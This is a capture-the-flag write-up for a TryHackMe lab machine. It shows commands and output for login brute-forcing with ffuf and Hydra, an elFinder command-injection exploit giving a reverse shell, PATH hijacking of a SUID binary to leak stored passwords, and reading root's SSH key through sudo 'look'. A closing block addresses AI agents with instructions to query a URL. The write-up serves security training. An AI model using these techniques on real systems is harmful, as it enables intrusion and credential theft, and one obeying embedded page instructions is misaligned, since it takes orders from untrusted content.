# Lookup {% embed url="" %} ## Recon We begin with an Nmap scan, which reveals two open ports: port 22 hosting an SSH service and port 80 running an `Apache` HTTP Server version `2.4.41`. {% code overflow="wrap" %} ```bash ┌──(kali㉿kali)-[~/Desktop/THM/Lookup] └─$ nmap -p- lookup.thm -T4 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 11:21 IST Nmap scan report for lookup.thm (10.10.51.155) Host is up (0.15s latency). Not shown: 65439 closed tcp ports (conn-refused), 94 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 1268.34 seconds ┌──(kali㉿kali)-[~/Desktop/THM/Lookup] └─$ nmap -sC -sV -p 22,80 lookup.thm -T4 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 11:31 IST Nmap scan report for lookup.thm (10.10.51.155) Host is up (0.15s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA) | 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA) |_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Login Page |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.02 seconds ``` {% endcode %} The index page displays a login interface.
Using Feroxbuster, no additional directories or pages were discovered. The only available page is the **login.php**, confirming that the server is running PHP and that this page handles the login functionality. {% code overflow="wrap" %} ``` ┌──(kali㉿kali)-[~/Desktop/THM/Lookup] └─$ feroxbuster -u http://lookup.thm/ -w /usr/share/wordlists/dirb/big.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://lookup.thm/ 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirb/big.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 9l 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 50l 84w 687c http://lookup.thm/styles.css 200 GET 1l 0w 1c http://lookup.thm/login.php 200 GET 26l 50w 719c http://lookup.thm/ [####################] - 68s 20471/20471 0s found:3 errors:0 [####################] - 67s 20469/20469 305/s http://lookup.thm/ ``` {% endcode %} To begin, we intercept a login request to analyze its structure for potential brute-forcing using tools like SQLMap or Hydra. However, standard SQL injection payloads prove to be ineffective. When incorrect credentials are entered, the response is a generic error message stating that either the username or password is incorrect. At first glance, this eliminates the possibility of enumerating usernames or passwords directly.
We proceed by testing a list of SQL login bypass payloads referenced from **HackTricks** at hacktricks.xyz. These payloads are designed to exploit potential vulnerabilities in the login mechanism. By systematically applying them, we aim to identify if any bypasses work to gain unauthorized access to the application. Unfortunately, none of the tested payloads proved effective, and **SQLMap** failed to identify any exploitable vulnerabilities. However, when using the username "admin," we noticed a different response size compared to other attempts. This behavior suggests that "admin" might be a valid username, worth investigating further. {% code overflow="wrap" %} ```bash ┌──(kali㉿kali)-[~/Desktop/THM/Lookup] └─$ ffuf -w /usr/share/seclists/Usernames/cirt-default-usernames.txt -X POST -u http://lookup.thm/login.php -d 'username=FUZZ&password=asdf' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -fw 10 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://lookup.thm/login.php :: Wordlist : FUZZ: /usr/share/seclists/Usernames/cirt-default-usernames.txt :: Header : Content-Type: application/x-www-form-urlencoded; charset=UTF-8 :: Data : username=FUZZ&password=asdf :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response words: 10 ________________________________________________ [REDACTED] [Status: 200, Size: 62, Words: 8, Lines: 1, Duration: 143ms] :: Progress: [828/828] :: Job [1/1] :: 232 req/sec :: Duration: [0:00:05] :: Errors: 0 :: ``` {% endcode %} We proceed to fuzz potential passwords for the user "admin" and discover a match. The response size for this particular password differs from the others, similar to the behavior observed during payload fuzzing earlier. This indicates that the correct password for "admin" may have been identified. {% code overflow="wrap" %} ```bash ┌──(kali㉿kali)-[~/Desktop/THM/Lookup] └─$ ffuf -w /usr/share/wordlists/seclists/Passwords/2020-200_most_used_passwords.txt -X POST -u http://lookup.thm/login.php -d 'username=admin&password=FUZZ' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -fw 8 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://lookup.thm/login.php :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Passwords/2020-200_most_used_passwords.txt :: Header : Content-Type: application/x-www-form-urlencoded; charset=UTF-8 :: Data : username=admin&password=FUZZ :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response words: 8 ________________________________________________ [REDACTED] [Status: 200, Size: 74, Words: 10, Lines: 1, Duration: 143ms] :: Progress: [197/197] :: Job [1/1] :: 47 req/sec :: Duration: [0:00:04] :: Errors: 0 :: ``` {% endcode %} When attempting to log in with the identified password for the user "admin," we still receive the generic response previously mentioned, indicating that either the username or password is incorrect.
When we try a different password, the response explicitly states that the password is incorrect. This behavior is unusual. It suggests that the previously discovered password might be valid but is being tested against the wrong user account. Perhaps the system provides feedback for a valid password entered for an invalid username.
To investigate further, we proceed with fuzzing for potential usernames using the `xato-net-10-million-usernames.txt` list. During the process, we discover a user that returns a 302 status code when tested with the previously identified password. This confirms that we have successfully found a valid credential pair. {% code overflow="wrap" %} ```bash ┌──(kali㉿kali)-[~/Desktop/THM/Lookup] └─$ ffuf -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -X POST -u http://lookup.thm/login.php -d 'username=FUZZ&password=password123' -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -fw 8 -mc 302 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://lookup.thm/login.php :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt :: Header : Content-Type: application/x-www-form-urlencoded; charset=UTF-8 :: Data : username=FUZZ&password=password123 :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 302 :: Filter : Response words: 8 ________________________________________________ jose [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 145ms] [WARN] Caught keyboard interrupt (Ctrl-C) ``` {% endcode %} After successfully logging in with the valid credentials (jose:REDACTED), we notice that the login request takes some time. We intercept the request and follow the redirection, which leads us to a new `URL: files.lookup.thm`. This indicates that we have been redirected to a different page, possibly related to the file system or some resources.
We add this to our`/etc/hosts` file and log in again.
The redirected page reveals elFinder, an open-source web-based file manager, granting us potential access to files within the application for further exploitation. ## Initial Access We see it is the Version `2.1.47`.
After some research, we discover an exploit for a command injection vulnerability. {% embed url="" %} We identify a command injection vulnerability in the PHP connector of elFinder versions <= 2.1.47. {% embed url="" %} After searching for an exploit, we find that Metasploit has a ready-made exploit for the same CVE. Using it, we successfully gained a shell as the `www-data` user.
We will use our own shell since we cannot read the files because we are not root
{% code overflow="wrap" %} ```bash ┌──(kali㉿kali)-[~/Desktop/THM/Lookup] └─$ nc -lvnp 1337 listening on [any] 1337 ... connect to [10.17.15.155] from (UNKNOWN) [10.10.231.85] 44600 Linux lookup 5.4.0-156-generic #173-Ubuntu SMP Tue Jul 11 07:25:22 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux 07:40:45 up 6 min, 0 users, load average: 0.05, 0.10, 0.07 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ ``` {% endcode %} We upgrade our shell using the commands provided in the following resource. {% embed url="" %} During enumeration, both manually and with LinPEAS, we discover the user `think`. In their home directory, we find a potentially valuable file named `.passwords`, but we currently don't have permission to read it. The LinPEAS output, we are able to spot an unknown SUID binary `pwm` owned by `root`.
Running the command reveals that the system checks the user ID to locate the corresponding `.passwords` file in the user's home directory. This suggests that the file might be part of a password manager for storing user credentials. {% code overflow="wrap" %} ```bash www-data@lookup:/home/think$ /usr/sbin/pwm [!] Running 'id' command to extract the username and user ID (UID) [!] ID: www-data [-] File /home/www-data/.passwords not found www-data@lookup:/home/think$ ``` {% endcode %} We copy the file to the web root folder to download it to our machine and analyze it.
By quickly inspecting the output using `strings`, we identify that the mechanism for extracting the username seems to rely on the `id` command. This could be the method used to map the user to their respective `.passwords` file.
We create a simple bash script named `id` that mimics the output of the original `id` command. We then place this script in `/tmp/id` and make it executable, allowing us to potentially bypass the original `id` command's behavior. ``` echo '#!/bin/bash' > id echo 'echo "uid=1000(think) gid=1000(think) groups=1000(think)"' >> id chmod +x id ``` Next, we prepend `/tmp` to our `PATH` variable, ensuring that the system will look for binaries in the `/tmp` directory first when executing commands like `id`. This allows us to control the behavior of commands that would otherwise use the system's default binaries. ``` export PATH=/tmp:$PATH ``` Now, after running `/usr/sbin/pwm`, we successfully retrieve the contents of the `.passwords` file. Among the listed passwords, one stands out as particularly noteworthy, and we decide to focus on it for further exploitation.
We could attempt to brute-force the SSH login using Hydra, targeting the SSH service with the identified username and password list. ```bash hydra -l 'think' -P pass.txt lookup.thm ssh ```
We use the discovered password to switch to the user "think" using `su` and successfully read the first flag located in the user's home directory.
## Privilege Escalation With the password in hand, we run `sudo -l` and discover that the user is permitted to use the `look` command with root privileges. The `look` command performs a dictionary lookup and displays lines from a sorted list of words that start with a specified prefix. {% code overflow="wrap" %} ```bash think@lookup:~$ sudo -l [sudo] password for think: Matching Defaults entries for think on lookup: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User think may run the following commands on lookup: (ALL) /usr/bin/look think@lookup:~$ ``` {% endcode %} On GTFObins, we find that we can exploit it to read any file as root by using `sudo`. This allows us to bypass permission restrictions and access files that are otherwise restricted. {% embed url="" %} ``` LFILE=/root/.ssh/id_rsa sudo /usr/bin/look '' "$LFILE" ```
We store the contents of the SSH key on our local machine and adjust its permissions to ensure it can be used for SSH authentication. This allows us to securely connect to the root account on the target machine. Next, we use it to log in as `root` and find the final flag in the root home directory.
--- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://bunring.gitbook.io/ctf-writeups/try-hack-me/2025/lookup.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.